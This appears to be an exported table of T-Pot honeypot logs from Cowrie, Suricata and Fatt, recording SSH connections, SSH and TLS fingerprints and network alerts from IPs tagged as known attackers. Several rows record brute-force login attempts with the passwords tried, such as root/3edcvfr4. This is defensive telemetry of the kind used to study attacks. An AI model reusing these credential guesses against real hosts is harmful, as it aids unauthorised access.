30546	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:35:51.247751+03	2021-09-20 14:45:03.300141+03	{"_id": "NAb9AnwBvYTbRNuErj2t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35416, "timestamp": "2021-09-20T11:35:51.247751", "@timestamp": "2021-09-20T11:35:51.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30547	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:35:58.609698+03	2021-09-20 14:45:03.301142+03	{"_id": "Rgb9AnwBvYTbRNuEyz03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.124.200.114:3737 (192.168.176.2:22) [session: 149acd0a9258]", "session": "149acd0a9258", "@version": "1", "protocol": "ssh", "src_port": 3737, "dest_port": 22, "timestamp": "2021-09-20T11:35:58.609698Z", "@timestamp": "2021-09-20T11:35:58.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30548	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:35:58.956984+03	2021-09-20 14:45:03.302142+03	{"_id": "TAb9AnwBvYTbRNuEzD3l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:35:58.263819+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1702529098188427, "payload": "AAADzAYUrFB8KdnNhSn4UgfzAhqjgwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3737, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:35:58.956984Z", "@timestamp": "2021-09-20T11:35:58.956Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......P|)...).R.........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30549	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:36:01.882197+03	2021-09-20 14:45:03.304141+03	{"_id": "Zwb9AnwBvYTbRNuE1j30", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:48700 (192.168.176.2:22) [session: e46f45ca373a]", "session": "e46f45ca373a", "@version": "1", "protocol": "ssh", "src_port": 48700, "dest_port": 22, "timestamp": "2021-09-20T11:36:01.882197Z", "@timestamp": "2021-09-20T11:36:01.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30550	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:36:01.586898+03	2021-09-20 14:45:03.305142+03	{"_id": "aAb9AnwBvYTbRNuE1j30", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.login.failed", "message": "login attempt [poseidon/poseidon] failed", "session": "7742cb90a2e7", "@version": "1", "password": "poseidon", "username": "poseidon", "timestamp": "2021-09-20T11:36:01.586898Z", "@timestamp": "2021-09-20T11:36:01.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30552	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:36:01.78859+03	2021-09-20 14:45:03.308142+03	{"_id": "agb9AnwBvYTbRNuE1j30", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "149acd0a9258", "@version": "1", "duration": 3.1762855052948, "timestamp": "2021-09-20T11:36:01.788590Z", "@timestamp": "2021-09-20T11:36:01.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30553	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:36:01.885142+03	2021-09-20 14:45:03.309142+03	{"_id": "awb9AnwBvYTbRNuE1j30", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e46f45ca373a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:36:01.885142Z", "@timestamp": "2021-09-20T11:36:01.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30554	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:36:01.924269+03	2021-09-20 14:45:03.310141+03	{"_id": "bAb9AnwBvYTbRNuE1j30", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e46f45ca373a", "@version": "1", "timestamp": "2021-09-20T11:36:01.924269Z", "@timestamp": "2021-09-20T11:36:01.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30555	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:36:02.173964+03	2021-09-20 14:45:03.312142+03	{"_id": "bQb9AnwBvYTbRNuE1j30", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [ubuntu/123456789] failed", "session": "e46f45ca373a", "@version": "1", "password": "123456789", "username": "ubuntu", "timestamp": "2021-09-20T11:36:02.173964Z", "@timestamp": "2021-09-20T11:36:02.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30556	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:36:02.332987+03	2021-09-20 14:45:03.313142+03	{"_id": "bgb9AnwBvYTbRNuE1j30", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3edcvfr4] failed", "session": "d8600d2f467a", "@version": "1", "password": "3edcvfr4", "username": "root", "timestamp": "2021-09-20T11:36:02.332987Z", "@timestamp": "2021-09-20T11:36:02.332Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30557	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:36:01.923896+03	2021-09-20 14:45:03.315142+03	{"_id": "cAb9AnwBvYTbRNuE2D2f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 320692090427967, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48700, "dest_port": 22, "timestamp": "2021-09-20T11:36:01.923896Z", "@timestamp": "2021-09-20T11:36:01.923Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30558	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:36:03.216892+03	2021-09-20 14:45:03.316142+03	{"_id": "cwb9AnwBvYTbRNuE2j3b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "e46f45ca373a", "@version": "1", "duration": 1.3320295810699463, "timestamp": "2021-09-20T11:36:03.216892Z", "@timestamp": "2021-09-20T11:36:03.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30559	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:36:03.606416+03	2021-09-20 14:45:03.317144+03	{"_id": "dQb9AnwBvYTbRNuE3j3D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3edcxsw21qaz] failed", "session": "d8600d2f467a", "@version": "1", "password": "3edcxsw21qaz", "username": "root", "timestamp": "2021-09-20T11:36:03.606416Z", "@timestamp": "2021-09-20T11:36:03.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30560	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:58.61345+03	2021-09-20 14:45:03.319142+03	{"_id": "QAb9AnwBvYTbRNuEyj0J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.124.200.114", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 3737, "timestamp": "2021-09-20T11:35:58.613450", "@timestamp": "2021-09-20T11:35:58.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30561	123.124.200.114	109.199.241.180	Fatt	2021-09-20 14:35:58.956984+03	2021-09-20 14:45:03.320143+03	{"_id": "Pwb9AnwBvYTbRNuEyj0J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 3737, "dest_port": 22, "timestamp": "2021-09-20T11:35:58.956984", "@timestamp": "2021-09-20T11:35:58.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30562	192.168.20.104	109.199.241.180	Suricata	2021-09-20 14:35:54.419303+03	2021-09-20 14:45:03.321142+03	{"_id": "Nwb9AnwBvYTbRNuEuT1a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:35:54.419303Z", "@timestamp": "2021-09-20T11:35:54.419Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30563	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:35:54.932127+03	2021-09-20 14:45:03.323142+03	{"_id": "OAb9AnwBvYTbRNuEvT1D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:35:54.932127Z", "@timestamp": "2021-09-20T11:35:54.932Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
